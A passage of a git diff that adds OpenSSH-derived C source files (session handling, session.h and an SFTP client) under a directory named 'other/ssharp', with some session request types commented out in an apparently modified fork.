u_int len; + int reply; + int success = 0; + char *rtype; + Session *s; + Channel *c; + + rtype = packet_get_string(&len); + reply = packet_get_char(); + + s = session_by_channel(id); + if (s == NULL) + fatal("session_input_channel_req: channel %d: no session", id); + c = channel_lookup(id); + if (c == NULL) + fatal("session_input_channel_req: channel %d: bad channel", id); + + debug("session_input_channel_req: session %d channel %d request %s reply %d", + s->self, id, rtype, reply); + + /* + * a session is in LARVAL state until a shell, a command + * or a subsystem is executed + */ + if (c->type == SSH_CHANNEL_LARVAL) { + if (strcmp(rtype, "shell") == 0) { + success = session_shell_req(s); + } else if (strcmp(rtype, "exec") == 0) { + success = session_exec_req(s); + } else if (strcmp(rtype, "pty-req") == 0) { + success = session_pty_req(s); + }/* else if (strcmp(rtype, "x11-req") == 0) { + success = session_x11_req(s); + } else if (strcmp(rtype, "auth-agent-req@openssh.com") == 0) { + success = session_auth_agent_req(s); + } else if (strcmp(rtype, "subsystem") == 0) { + success = session_subsystem_req(s); + }*/ + } + if (strcmp(rtype, "window-change") == 0) { + success = session_window_change_req(s); + } + + if (reply) { + packet_start(success ? + SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); + packet_put_int(c->remote_id); + packet_send(); + } + xfree(rtype); +} + +void +session_set_fds(Session *s, int fdin, int fdout, int fderr) +{ + if (!compat20) + fatal("session_set_fds: called for proto != 2.0"); + /* + * now that have a child and a pipe to the child, + * we can activate our channel and register the fd's + */ + if (s->chanid == -1) + fatal("no channel for session %d", s->self); + channel_set_fds(s->chanid, + fdout, fdin, fderr, + fderr == -1 ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ, + 1); +} + +void +session_pty_cleanup(Session *s) +{ + if (s == NULL || s->ttyfd == -1) + return; + + debug("session_pty_cleanup: session %d release %s", s->self, s->tty); + + /* Cancel the cleanup function. */ + fatal_remove_cleanup(pty_cleanup_proc, (void *)s); + + /* Record that the user has logged out. */ + record_logout(s->pid, s->tty); + + /* Release the pseudo-tty. */ + pty_release(s->tty); + + /* + * Close the server side of the socket pairs. We must do this after + * the pty cleanup, so that another process doesn't get this pty + * while we're still cleaning up. + */ + if (close(s->ptymaster) < 0) + error("close(s->ptymaster): %s", strerror(errno)); +} + +void +session_exit_message(Session *s, int status) +{ + Channel *c; + if (s == NULL) + fatal("session_close: no session"); + c = channel_lookup(s->chanid); + if (c == NULL) + fatal("session_close: session %d: no channel %d", + s->self, s->chanid); + debug("session_exit_message: session %d channel %d pid %d", + s->self, s->chanid, s->pid); + + if (WIFEXITED(status)) { + channel_request_start(s->chanid, + "exit-status", 0); + packet_put_int(WEXITSTATUS(status)); + packet_send(); + } else if (WIFSIGNALED(status)) { + channel_request_start(s->chanid, + "exit-signal", 0); + packet_put_int(WTERMSIG(status)); +#ifdef WCOREDUMP + packet_put_char(WCOREDUMP(status)); +#else /* WCOREDUMP */ + packet_put_char(0); +#endif /* WCOREDUMP */ + packet_put_cstring(""); + packet_put_cstring(""); + packet_send(); + } else { + /* Some weird exit cause. Just exit. */ + packet_disconnect("wait returned status %04x.", status); + } + + /* disconnect channel */ + debug("session_exit_message: release channel %d", s->chanid); + channel_cancel_cleanup(s->chanid); + /* + * emulate a write failure with 'chan_write_failed', nobody will be + * interested in data we write. + * Note that we must not call 'chan_read_failed', since there could + * be some more data waiting in the pipe. + */ + if (c->ostate != CHAN_OUTPUT_CLOSED) + chan_write_failed(c); + s->chanid = -1; +} + +void +session_free(Session *s) +{ + debug("session_free: session %d pid %d", s->self, s->pid); + if (s->term) + xfree(s->term); + if (s->display) + xfree(s->display); + if (s->auth_data) + xfree(s->auth_data); + if (s->auth_proto) + xfree(s->auth_proto); + s->used = 0; +} + +void +session_close(Session *s) +{ + session_pty_cleanup(s); + session_free(s); + session_proctitle(s); +} + +void +session_close_by_pid(pid_t pid, int status) +{ + Session *s = session_by_pid(pid); + if (s == NULL) { + debug("session_close_by_pid: no session for pid %d", s->pid); + return; + } + if (s->chanid != -1) + session_exit_message(s, status); + session_close(s); +} + +/* + * this is called when a channel dies before + * the session 'child' itself dies + */ +void +session_close_by_channel(int id, void *arg) +{ + Session *s = session_by_channel(id); + if (s == NULL) { + debug("session_close_by_channel: no session for channel %d", id); + return; + } + /* disconnect channel */ + channel_cancel_cleanup(s->chanid); + s->chanid = -1; + + debug("session_close_by_channel: channel %d kill %d", id, s->pid); + if (s->pid == 0) { + /* close session immediately */ + session_close(s); + } else { + /* notify child, delay session cleanup */ + if (kill(s->pid, (s->ttyfd == -1) ? SIGTERM : SIGHUP) < 0) + error("session_close_by_channel: kill %d: %s", + s->pid, strerror(errno)); + } +} + +char * +session_tty_list(void) +{ + static char buf[1024]; + int i; + buf[0] = '\0'; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->ttyfd != -1) { + if (buf[0] != '\0') + strlcat(buf, ",", sizeof buf); + strlcat(buf, strrchr(s->tty, '/') + 1, sizeof buf); + } + } + if (buf[0] == '\0') + strlcpy(buf, "notty", sizeof buf); + return buf; +} + +void +session_proctitle(Session *s) +{ + if (s->pw == NULL) + error("no user for session %d", s->self); + else + setproctitle("%s@%s", s->pw->pw_name, session_tty_list()); +} + +void +do_authenticated2(Authctxt *authctxt) +{ + server_loop2(authctxt); + if (xauthfile) + xauthfile_cleanup_proc(NULL); +} diff --git a/other/ssharp/session.h b/other/ssharp/session.h new file mode 100644 index 0000000..842e941 --- /dev/null +++ b/other/ssharp/session.h @@ -0,0 +1,36 @@ +/* $OpenBSD: session.h,v 1.6 2001/03/21 11:43:45 markus Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef SESSION_H +#define SESSION_H + +void do_authenticated(Authctxt *ac); + +int session_open(int id); +void session_input_channel_req(int id, void *arg); +void session_close_by_pid(pid_t pid, int status); +void session_close_by_channel(int id, void *arg); + +#endif diff --git a/other/ssharp/sftp-client.c b/other/ssharp/sftp-client.c new file mode 100644 index 0000000..cf672e7 --- /dev/null +++ b/other/ssharp/sftp-client.c @@ -0,0 +1,934 @@ +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* XXX: memleaks */ +/* XXX: signed vs unsigned */ +/* XXX: redesign to allow concurrent overlapped operations */ +/* XXX: we use fatal too much, error may be more appropriate in places */ +/* XXX: copy between two remote sites */ + +#include "includes.h" +RCSID("$OpenBSD: sftp-client.c,v 1.16 2001/04/05 10:42:52 markus Exp $"); + +#include "ssh.h" +#include "buffer.h" +#include "bufaux.h" +#include "getput.h" +#include "xmalloc.h" +#include "log.h" +#include "atomicio.h" +#include "pathnames.h" + +#include "sftp.h" +#include "sftp-common.h" +#include "sftp-client.h" + +/* How much data to read/write at at time during copies */ +/* XXX: what should this be? */ +#define COPY_SIZE 8192 + +/* Message ID */ +static u_int msg_id = 1; + +void +send_msg(int fd, Buffer *m) +{ + int mlen = buffer_len(m); + int len; + Buffer oqueue; + + buffer_init(&oqueue); + buffer_put_int(&oqueue, mlen); + buffer_append(&oqueue, buffer_ptr(m), mlen); + buffer_consume(m, mlen); + + len = atomicio(write, fd, buffer_ptr(&oqueue), buffer_len(&oqueue)); + if (len <= 0) + fatal("Couldn't send packet: %s", strerror(errno)); + + buffer_free(&oqueue); +} + +void +get_msg(int fd, Buffer *m) +{ + u_int len, msg_len; + unsigned char buf[4096]; + + len = atomicio(read, fd, buf, 4); + if (len == 0) + fatal("Connection closed"); + else if (len == -1) + fatal("Couldn't read packet: %s", strerror(errno)); + + msg_len = GET_32BIT(buf); + if (msg_len > 256 * 1024) + fatal("Received message too long %d", msg_len); + + while (msg_len) { + len = atomicio(read, fd, buf, MIN(msg_len, sizeof(buf))); + if (len == 0) + fatal("Connection closed"); + else if (len == -1) + fatal("Couldn't read packet: %s", strerror(errno)); + + msg_len -= len; + buffer_append(m, buf, len); + } +} + +void +send_string_request(int fd, u_int id, u_int code, char *s, + u_int len) +{ + Buffer msg; + + buffer_init(&msg); + buffer_put_char(&msg, code); + buffer_put_int(&msg, id); + buffer_put_string(&msg, s, len); + send_msg(fd, &msg); + debug3("Sent message fd %d T:%d I:%d", fd, code, id); + buffer_free(&msg); +} + +void +send_string_attrs_request(int fd, u_int id, u_int code, char *s, + u_int len, Attrib *a) +{ + Buffer msg; + + buffer_init(&msg); + buffer_put_char(&msg, code); + buffer_put_int(&msg, id); + buffer_put_string(&msg, s, len); + encode_attrib(&msg, a); + send_msg(fd, &msg); + debug3("Sent message fd %d T:%d I:%d", fd, code, id); + buffer_free(&msg); +} + +u_int +get_status(int fd, int expected_id) +{ + Buffer msg; + u_int type, id, status; + + buffer_init(&msg); + get_msg(fd, &msg); + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + if (type != SSH2_FXP_STATUS) + fatal("Expected SSH2_FXP_STATUS(%d) packet, got %d", + SSH2_FXP_STATUS, type); + + status = buffer_get_int(&msg); + buffer_free(&msg); + + debug3("SSH2_FXP_STATUS %d", status); + + return(status); +} + +char * +get_handle(int fd, u_int expected_id, u_int *len) +{ + Buffer msg; + u_int type, id; + char *handle; + + buffer_init(&msg); + get_msg(fd, &msg); + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + if (type == SSH2_FXP_STATUS) { + int status = buffer_get_int(&msg); + + error("Couldn't get handle: %s", fx2txt(status)); + return(NULL); + } else if (type != SSH2_FXP_HANDLE) + fatal("Expected SSH2_FXP_HANDLE(%d) packet, got %d", + SSH2_FXP_HANDLE, type); + + handle = buffer_get_string(&msg, len); + buffer_free(&msg); + + return(handle); +} + +Attrib * +get_decode_stat(int fd, u_int expected_id, int quiet) +{ + Buffer msg; + u_int type, id; + Attrib *a; + + buffer_init(&msg); + get_msg(fd, &msg); + + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + + debug3("Received stat reply T:%d I:%d", type, id); + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + if (type == SSH2_FXP_STATUS) { + int status = buffer_get_int(&msg); + + if (quiet) + debug("Couldn't stat remote file: %s", fx2txt(status)); + else + error("Couldn't stat remote file: %s", fx2txt(status)); + return(NULL); + } else if (type != SSH2_FXP_ATTRS) { + fatal("Expected SSH2_FXP_ATTRS(%d) packet, got %d", + SSH2_FXP_ATTRS, type); + } + a = decode_attrib(&msg); + buffer_free(&msg); + + return(a); +} + +int +do_init(int fd_in, int fd_out) +{ + int type, version; + Buffer msg; + + buffer_init(&msg); + buffer_put_char(&msg, SSH2_FXP_INIT); + buffer_put_int(&msg, SSH2_FILEXFER_VERSION); + send_msg(fd_out, &msg); + + buffer_clear(&msg); + + get_msg(fd_in, &msg); + + /* Expecting a VERSION reply */ + if ((type = buffer_get_char(&msg)) != SSH2_FXP_VERSION) { + error("Invalid packet back from SSH2_FXP_INIT (type %d)", + type); + buffer_free(&msg); + return(-1); + } + version = buffer_get_int(&msg); + + debug2("Remote version: %d", version); + + /* Check for extensions */ + while (buffer_len(&msg) > 0) { + char *name = buffer_get_string(&msg, NULL); + char *value = buffer_get_string(&msg, NULL); + + debug2("Init extension: \"%s\"", name); + xfree(name); + xfree(value); + } + + buffer_free(&msg); + + return(version); +} + +int +do_close(int fd_in, int fd_out, char *handle, u_int handle_len) +{ + u_int id, status; + Buffer msg; + + buffer_init(&msg); + + id = msg_id++; + buffer_put_char(&msg, SSH2_FXP_CLOSE); + buffer_put_int(&msg, id); + buffer_put_string(&msg, handle, handle_len); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_CLOSE I:%d", id); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't close file: %s", fx2txt(status)); + + buffer_free(&msg); + + return(status); +} + + +int +do_lsreaddir(int fd_in, int fd_out, char *path, int printflag, + SFTP_DIRENT ***dir) +{ + Buffer msg; + u_int type, id, handle_len, i, expected_id, ents = 0; + char *handle; + + id = msg_id++; + + buffer_init(&msg); + buffer_put_char(&msg, SSH2_FXP_OPENDIR); + buffer_put_int(&msg, id); + buffer_put_cstring(&msg, path); + send_msg(fd_out, &msg); + + buffer_clear(&msg); + + handle = get_handle(fd_in, id, &handle_len); + if (handle == NULL) + return(-1); + + if (dir) { + ents = 0; + *dir = xmalloc(sizeof(**dir)); + (*dir)[0] = NULL; + } + + + for(;;) { + int count; + + id = expected_id = msg_id++; + + debug3("Sending SSH2_FXP_READDIR I:%d", id); + + buffer_clear(&msg); + buffer_put_char(&msg, SSH2_FXP_READDIR); + buffer_put_int(&msg, id); + buffer_put_string(&msg, handle, handle_len); + send_msg(fd_out, &msg); + + buffer_clear(&msg); + + get_msg(fd_in, &msg); + + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + + debug3("Received reply T:%d I:%d", type, id); + + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + + if (type == SSH2_FXP_STATUS) { + int status = buffer_get_int(&msg); + + debug3("Received SSH2_FXP_STATUS %d", status); + + if (status == SSH2_FX_EOF) { + break; + } else { + error("Couldn't read directory: %s", + fx2txt(status)); + do_close(fd_in, fd_out, handle, handle_len); + return(status); + } + } else if (type != SSH2_FXP_NAME) + fatal("Expected SSH2_FXP_NAME(%d) packet, got %d", + SSH2_FXP_NAME, type); + + count = buffer_get_int(&msg); + if (count == 0) + break; + debug3("Received %d SSH2_FXP_NAME responses", count); + for(i = 0; i < count; i++) { + char *filename, *longname; + Attrib *a; + + filename = buffer_get_string(&msg, NULL); + longname = buffer_get_string(&msg, NULL); + a = decode_attrib(&msg); + + if (printflag) + printf("%s\n", longname); + + if (dir) { + *dir = xrealloc(*dir, sizeof(**dir) * + (ents + 2)); + (*dir)[ents] = xmalloc(sizeof(***dir)); + (*dir)[ents]->filename = xstrdup(filename); + (*dir)[ents]->longname = xstrdup(longname); + memcpy(&(*dir)[ents]->a, a, sizeof(*a)); + (*dir)[++ents] = NULL; + } + + xfree(filename); + xfree(longname); + } + } + + buffer_free(&msg); + do_close(fd_in, fd_out, handle, handle_len); + xfree(handle); + + return(0); +} + +int +do_ls(int fd_in, int fd_out, char *path) +{ + return(do_lsreaddir(fd_in, fd_out, path, 1, NULL)); +} + +int +do_readdir(int fd_in, int fd_out, char *path, SFTP_DIRENT ***dir) +{ + return(do_lsreaddir(fd_in, fd_out, path, 0, dir)); +} + +void free_sftp_dirents(SFTP_DIRENT **s) +{ + int i; + + for(i = 0; s[i]; i++) { + xfree(s[i]->filename); + xfree(s[i]->longname); + xfree(s[i]); + } + xfree(s); +} + +int +do_rm(int fd_in, int fd_out, char *path) +{ + u_int status, id; + + debug2("Sending SSH2_FXP_REMOVE \"%s\"", path); + + id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_REMOVE, path, strlen(path)); + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't delete file: %s", fx2txt(status)); + return(status); +} + +int +do_mkdir(int fd_in, int fd_out, char *path, Attrib *a) +{ + u_int status, id; + + id = msg_id++; + send_string_attrs_request(fd_out, id, SSH2_FXP_MKDIR, path, + strlen(path), a); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't create directory: %s", fx2txt(status)); + + return(status); +} + +int +do_rmdir(int fd_in, int fd_out, char *path) +{ + u_int status, id; + + id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_RMDIR, path, strlen(path)); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't remove directory: %s", fx2txt(status)); + + return(status); +} + +Attrib * +do_stat(int fd_in, int fd_out, char *path, int quiet) +{ + u_int id; + + id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_STAT, path, strlen(path)); + return(get_decode_stat(fd_in, id, quiet)); +} + +Attrib * +do_lstat(int fd_in, int fd_out, char *path, int quiet) +{ + u_int id; + + id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_LSTAT, path, strlen(path)); + return(get_decode_stat(fd_in, id, quiet)); +} + +Attrib * +do_fstat(int fd_in, int fd_out, char *handle, u_int handle_len, int quiet) +{ + u_int id; + + id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_FSTAT, handle, handle_len); + return(get_decode_stat(fd_in, id, quiet)); +} + +int +do_setstat(int fd_in, int fd_out, char *path, Attrib *a) +{ + u_int status, id; + + id = msg_id++; + send_string_attrs_request(fd_out, id, SSH2_FXP_SETSTAT, path, + strlen(path), a); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't setstat on \"%s\": %s", path, + fx2txt(status)); + + return(status); +} + +int +do_fsetstat(int fd_in, int fd_out, char *handle, u_int handle_len, + Attrib *a) +{ + u_int status, id; + + id = msg_id++; + send_string_attrs_request(fd_out, id, SSH2_FXP_FSETSTAT, handle, + handle_len, a); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't fsetstat: %s", fx2txt(status)); + + return(status); +} + +char * +do_realpath(int fd_in, int fd_out, char *path) +{ + Buffer msg; + u_int type, expected_id, count, id; + char *filename, *longname; + Attrib *a; + + expected_id = id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_REALPATH, path, strlen(path)); + + buffer_init(&msg); + + get_msg(fd_in, &msg); + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + + if (type == SSH2_FXP_STATUS) { + u_int status = buffer_get_int(&msg); + + error("Couldn't canonicalise: %s", fx2txt(status)); + return(NULL); + } else if (type != SSH2_FXP_NAME) + fatal("Expected SSH2_FXP_NAME(%d) packet, got %d", + SSH2_FXP_NAME, type); + + count = buffer_get_int(&msg); + if (count != 1) + fatal("Got multiple names (%d) from SSH_FXP_REALPATH", count); + + filename = buffer_get_string(&msg, NULL); + longname = buffer_get_string(&msg, NULL); + a = decode_attrib(&msg); + + debug3("SSH_FXP_REALPATH %s -> %s", path, filename); + + xfree(longname); + + buffer_free(&msg); + + return(filename); +} + +int +do_rename(int fd_in, int fd_out, char *oldpath, char *newpath) +{ + Buffer msg; + u_int status, id; + + buffer_init(&msg); + + /* Send rename request */ + id = msg_id++; + buffer_put_char(&msg, SSH2_FXP_RENAME); + buffer_put_int(&msg, id); + buffer_put_cstring(&msg, oldpath); + buffer_put_cstring(&msg, newpath); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_RENAME \"%s\" -> \"%s\"", oldpath, + newpath); + buffer_free(&msg); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't rename file \"%s\" to \"%s\": %s", oldpath, newpath, + fx2txt(status)); + + return(status); +} + +int +do_symlink(int fd_in, int fd_out, char *oldpath, char *newpath) +{ + Buffer msg; + u_int status, id; + + buffer_init(&msg); + + /* Send rename request */ + id = msg_id++; + buffer_put_char(&msg, SSH2_FXP_SYMLINK); + buffer_put_int(&msg, id); + buffer_put_cstring(&msg, oldpath); + buffer_put_cstring(&msg, newpath); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_SYMLINK \"%s\" -> \"%s\"", oldpath, + newpath); + buffer_free(&msg); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) + error("Couldn't rename file \"%s\" to \"%s\": %s", oldpath, newpath, + fx2txt(status)); + + return(status); +} + +char * +do_readlink(int fd_in, int fd_out, char *path) +{ + Buffer msg; + u_int type, expected_id, count, id; + char *filename, *longname; + Attrib *a; + + expected_id = id = msg_id++; + send_string_request(fd_out, id, SSH2_FXP_READLINK, path, strlen(path)); + + buffer_init(&msg); + + get_msg(fd_in, &msg); + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + + if (type == SSH2_FXP_STATUS) { + u_int status = buffer_get_int(&msg); + + error("Couldn't readlink: %s", fx2txt(status)); + return(NULL); + } else if (type != SSH2_FXP_NAME) + fatal("Expected SSH2_FXP_NAME(%d) packet, got %d", + SSH2_FXP_NAME, type); + + count = buffer_get_int(&msg); + if (count != 1) + fatal("Got multiple names (%d) from SSH_FXP_READLINK", count); + + filename = buffer_get_string(&msg, NULL); + longname = buffer_get_string(&msg, NULL); + a = decode_attrib(&msg); + + debug3("SSH_FXP_READLINK %s -> %s", path, filename); + + xfree(longname); + + buffer_free(&msg); + + return(filename); +} + +int +do_download(int fd_in, int fd_out, char *remote_path, char *local_path, + int pflag) +{ + int local_fd; + u_int expected_id, handle_len, mode, type, id; + u_int64_t offset; + char *handle; + Buffer msg; + Attrib junk, *a; + int status; + + a = do_stat(fd_in, fd_out, remote_path, 0); + if (a == NULL) + return(-1); + + /* XXX: should we preserve set[ug]id? */ + if (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) + mode = S_IWRITE | (a->perm & 0777); + else + mode = 0666; + + if ((a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) && + (a->perm & S_IFDIR)) { + error("Cannot download a directory: %s", remote_path); + return(-1); + } + + local_fd = open(local_path, O_WRONLY | O_CREAT | O_TRUNC, mode); + if (local_fd == -1) { + error("Couldn't open local file \"%s\" for writing: %s", + local_path, strerror(errno)); + return(-1); + } + + buffer_init(&msg); + + /* Send open request */ + id = msg_id++; + buffer_put_char(&msg, SSH2_FXP_OPEN); + buffer_put_int(&msg, id); + buffer_put_cstring(&msg, remote_path); + buffer_put_int(&msg, SSH2_FXF_READ); + attrib_clear(&junk); /* Send empty attributes */ + encode_attrib(&msg, &junk); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_OPEN I:%d P:%s", id, remote_path); + + handle = get_handle(fd_in, id, &handle_len); + if (handle == NULL) { + buffer_free(&msg); + close(local_fd); + return(-1); + } + + /* Read from remote and write to local */ + offset = 0; + for(;;) { + u_int len; + char *data; + + id = expected_id = msg_id++; + + buffer_clear(&msg); + buffer_put_char(&msg, SSH2_FXP_READ); + buffer_put_int(&msg, id); + buffer_put_string(&msg, handle, handle_len); + buffer_put_int64(&msg, offset); + buffer_put_int(&msg, COPY_SIZE); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_READ I:%d O:%llu S:%u", + id, (u_int64_t)offset, COPY_SIZE); + + buffer_clear(&msg); + + get_msg(fd_in, &msg); + type = buffer_get_char(&msg); + id = buffer_get_int(&msg); + debug3("Received reply T:%d I:%d", type, id); + if (id != expected_id) + fatal("ID mismatch (%d != %d)", id, expected_id); + if (type == SSH2_FXP_STATUS) { + status = buffer_get_int(&msg); + + if (status == SSH2_FX_EOF) + break; + else { + error("Couldn't read from remote " + "file \"%s\" : %s", remote_path, + fx2txt(status)); + do_close(fd_in, fd_out, handle, handle_len); + goto done; + } + } else if (type != SSH2_FXP_DATA) { + fatal("Expected SSH2_FXP_DATA(%d) packet, got %d", + SSH2_FXP_DATA, type); + } + + data = buffer_get_string(&msg, &len); + if (len > COPY_SIZE) + fatal("Received more data than asked for %d > %d", + len, COPY_SIZE); + + debug3("In read loop, got %d offset %llu", len, + (u_int64_t)offset); + if (atomicio(write, local_fd, data, len) != len) { + error("Couldn't write to \"%s\": %s", local_path, + strerror(errno)); + do_close(fd_in, fd_out, handle, handle_len); + status = -1; + xfree(data); + goto done; + } + + offset += len; + xfree(data); + } + status = do_close(fd_in, fd_out, handle, handle_len); + + /* Override umask and utimes if asked */ +#ifdef HAVE_FCHMOD + if (pflag && fchmod(local_fd, mode) == -1) +#else + if (pflag && chmod(local_path, mode) == -1) +#endif /* HAVE_FCHMOD */ + error("Couldn't set mode on \"%s\": %s", local_path, + strerror(errno)); + if (pflag && (a->flags & SSH2_FILEXFER_ATTR_ACMODTIME)) { + struct timeval tv[2]; + tv[0].tv_sec = a->atime; + tv[1].tv_sec = a->mtime; + tv[0].tv_usec = tv[1].tv_usec = 0; + if (utimes(local_path, tv) == -1) + error("Can't set times on \"%s\": %s", local_path, + strerror(errno)); + } + +done: + close(local_fd); + buffer_free(&msg); + xfree(handle); + return status; +} + +int +do_upload(int fd_in, int fd_out, char *local_path, char *remote_path, + int pflag) +{ + int local_fd; + u_int handle_len, id; + u_int64_t offset; + char *handle; + Buffer msg; + struct stat sb; + Attrib a; + int status; + + if ((local_fd = open(local_path, O_RDONLY, 0)) == -1) { + error("Couldn't open local file \"%s\" for reading: %s", + local_path, strerror(errno)); + return(-1); + } + if (fstat(local_fd, &sb) == -1) { + error("Couldn't fstat local file \"%s\": %s", + local_path, strerror(errno)); + close(local_fd); + return(-1); + } + stat_to_attrib(&sb, &a); + + a.flags &= ~SSH2_FILEXFER_ATTR_SIZE; + a.flags &= ~SSH2_FILEXFER_ATTR_UIDGID; + a.perm &= 0777; + if (!pflag) + a.flags &= ~SSH2_FILEXFER_ATTR_ACMODTIME; + + buffer_init(&msg); + + /* Send open request */ + id = msg_id++; + buffer_put_char(&msg, SSH2_FXP_OPEN); + buffer_put_int(&msg, id); + buffer_put_cstring(&msg, remote_path); + buffer_put_int(&msg, SSH2_FXF_WRITE|SSH2_FXF_CREAT|SSH2_FXF_TRUNC); + encode_attrib(&msg, &a); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_OPEN I:%d P:%s", id, remote_path); + + buffer_clear(&msg); + + handle = get_handle(fd_in, id, &handle_len); + if (handle == NULL) { + close(local_fd); + buffer_free(&msg); + return(-1); + } + + /* Read from local and write to remote */ + offset = 0; + for(;;) { + int len; + char data[COPY_SIZE]; + + /* + * Can't use atomicio here because it returns 0 on EOF, thus losing + * the last block of the file + */ + do + len = read(local_fd, data, COPY_SIZE); + while ((len == -1) && (errno == EINTR || errno == EAGAIN)); + + if (len == -1) + fatal("Couldn't read from \"%s\": %s", local_path, + strerror(errno)); + if (len == 0) + break; + + buffer_clear(&msg); + buffer_put_char(&msg, SSH2_FXP_WRITE); + buffer_put_int(&msg, ++id); + buffer_put_string(&msg, handle, handle_len); + buffer_put_int64(&msg, offset); + buffer_put_string(&msg, data, len); + send_msg(fd_out, &msg); + debug3("Sent message SSH2_FXP_WRITE I:%d O:%llu S:%u", + id, (u_int64_t)offset, len); + + status = get_status(fd_in, id); + if (status != SSH2_FX_OK) { + error("Couldn't write to remote file \"%s\": %s", + remote_path, fx2txt(status)); + do_close(fd_in, fd_out, handle, handle_len); + close(local_fd); + goto done; + } + debug3("In write loop, got %d offset %llu", len, + (u_int64_t)offset); + + offset += len; + } + + if (close(local_fd) == -1) { + error("Couldn't close local file \"%s\": %s", local_path, + strerror(errno)); + do_close(fd_in, fd_out, handle, handle_len); + status = -1; + goto done; + } + + /* Override umask and utimes if asked */ + if (pflag) + do_fsetstat(fd_in, fd_out, handle, handle_len, &a); + + status = do_close(fd_in, fd_out, handle, handle_len); + +done: + xfree(handle); + buffer_free(&msg); + return status; +} + diff --git a/other/ssharp/sftp-client.h b/other/ssharp/sftp-client.h new file mode 100644 index 0000000..09ffcc0 --- /dev/null +++ b/other/ssharp/sftp-client.h @@ -0,0 +1,107 @@ +/* $OpenBSD: sftp-client.h,v 1.5 2001/04/05 10:42:52 markus Exp $ */ + +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + 